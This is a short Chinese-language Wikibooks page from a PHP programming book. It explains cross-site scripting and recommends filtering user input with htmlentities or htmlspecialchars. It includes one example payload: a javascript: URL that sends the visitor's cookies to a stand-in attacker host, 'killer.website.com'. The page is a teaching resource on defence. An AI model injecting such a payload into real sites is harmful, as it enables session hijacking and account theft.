跳轉到內容

PHP 程式設計/跨站指令碼攻擊

來自 Wikibooks,開放世界中的開放書籍


跨站指令碼(或 XSS)是對指令碼傳送敏感資訊(例如 Cookie 或其他會話識別符號)到其他網站的基本描述。

通常,這些攻擊會影響內容可以被編輯或新增的網站。在大多數情況下,會話識別符號甚至使用者名稱/密碼都儲存在 Cookie 中。如果有人知道會話識別符號,他們可以在自己的機器上輕鬆地使用它來執行任何惡意任務,而這些任務會讓你不高興。

現在,如果您已登入 Wikibooks 或任何其他網站,請轉到該頁面並在位址列中鍵入以下內容

javascript:void(alert(document.cookie))

這些是每次傳送到網站以識別您的 Cookie。很容易,如果您的網站沒有防範 XSS - 攻擊者會編寫類似這樣的內容

javascript:void(document.location('http://killer.website.com/steal_cookie.php?cookie_data='+document.cookie))

這會將 Cookie 資訊傳送到他們的網站。

如果不刪除可能提交到其他網站的惡意 HTML/JavaScript 程式碼,就無法保護自己免受 XSS 攻擊。

到目前為止,最常見的方法是使用 htmlentitieshtmlspecialchars 過濾程式碼,以便沒有人可以向您的網站新增任何 HTML(例如部落格評論)

$message = htmlentities($message);

另一種方法是總體上建立任何型別的“受保護模式”程式碼,例如 MediaWiki、BBCode 或其他為方便使用者內容的樣式/格式而發明的程式碼。



華夏公益教科書